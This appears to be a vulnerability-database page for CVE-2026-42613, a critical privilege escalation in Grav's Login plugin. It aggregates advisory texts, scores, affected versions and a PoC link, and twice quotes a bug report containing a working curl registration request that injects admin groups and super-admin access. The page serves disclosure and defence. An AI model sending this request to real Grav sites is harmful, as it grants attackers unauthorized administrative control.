Every CVE Search/ Get API key

CVE-2026-42613

Grav: Privilege Escalation via Missing Server-Side Validation of groups/access

9.4 CriticalPublic exploitFix available

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
Low

Exploit likelihood

1.14%Up 1.1 points since May 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.4

Grav: Privilege Escalation via Missing Server-Side Validation of groups/access

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.

Record
CVE-2026-42613
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-20, CWE-862
Updated
2026-11-02
EUVDEUVD-2026-29071 9.4

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.

Record
EUVD-2026-29071
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-pxm6-mhxr-q4mj 9.4

Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access

Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

Summary

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

  • File: user/plugins/login/classes/Login.php, lines 246-306
  • Method: Login::register()
  • Validation: Login::validateField(), lines 363-432
  • Plugin: Login Plugin 3.8.0
  • Grav: 1.8.0-beta.29

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

// Line 254-260
if (!isset($data['groups'])) {
    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
    if (count($groups) > 0) {
        $data['groups'] = $groups;
    }
}

// Line 262-267
if (!isset($data['access'])) {
    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
    if (count($access) > 0) {
        $data['access']['site'] = $access;
    }
}

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

if (isset($data['groups'])) {
    $user->groups = $data['groups'];  // attacker-controlled
}
if (isset($data['access'])) {
    $user->access = $data['access'];  // attacker-controlled
}
$user->save();

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

# user/config/plugins/login.yaml
user_registration:
  enabled: true
  fields:
    - username
    - password
    - email
    - fullname
    - groups    # ← enables the attack
    - access    # ← enables the attack

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):

curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email][email protected]" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"

Resulting account file (user/accounts/attacker.yaml):

email: [email protected]
fullname: Attacker
groups:
  - admins
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: ...
state: enabled

The attacker can then log into /admin with full super-admin privileges.

Impact

  • Severity: Critical (when…
Record
GHSA-pxm6-mhxr-q4mj
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-20
Updated
2026-11-02
NVD 9.4

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.

Record
CVE-2026-42613
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-20, CWE-862
Updated
2026-11-02
OSV 9.4

Grav: Privilege Escalation via Missing Server-Side Validation of groups/access

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.

Record
CVE-2026-42613
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-20, CWE-862
Updated
2026-11-02
OSVGHSA-pxm6-mhxr-q4mj 9.4

Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access

Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

Summary

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

  • File: user/plugins/login/classes/Login.php, lines 246-306
  • Method: Login::register()
  • Validation: Login::validateField(), lines 363-432
  • Plugin: Login Plugin 3.8.0
  • Grav: 1.8.0-beta.29

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

// Line 254-260
if (!isset($data['groups'])) {
    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
    if (count($groups) > 0) {
        $data['groups'] = $groups;
    }
}

// Line 262-267
if (!isset($data['access'])) {
    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
    if (count($access) > 0) {
        $data['access']['site'] = $access;
    }
}

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

if (isset($data['groups'])) {
    $user->groups = $data['groups'];  // attacker-controlled
}
if (isset($data['access'])) {
    $user->access = $data['access'];  // attacker-controlled
}
$user->save();

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

# user/config/plugins/login.yaml
user_registration:
  enabled: true
  fields:
    - username
    - password
    - email
    - fullname
    - groups    # ← enables the attack
    - access    # ← enables the attack

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):

curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email][email protected]" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"

Resulting account file (user/accounts/attacker.yaml):

email: [email protected]
fullname: Attacker
groups:
  - admins
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: ...
state: enabled

The attacker can then log into /admin with full super-admin privileges.

Impact

  • Severity: Critical (when…
Record
GHSA-pxm6-mhxr-q4mj
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weakness
CWE-20
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
getgrav/grav
Packagist
before 2.0.0-beta.2
2.0.0-beta.2
getgrav/grav
Packagist
before 2.0.0-beta.2, plus listed versions
0.8.00.9.00.9.10.9.100.9.11
Show 45 moreShow less
0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2
2.0.0-beta.2

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubivanesk315/CVE-2026-426132026-09-10

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-42613 is a critical vulnerability (CVSS 9.4) in Getgrav Grav, published May 5, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 1.14%, the 66th percentile. Fixed in getgrav/grav 2.0.0-beta.2.

References

This page doesn't list everything

Left out here: 271 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open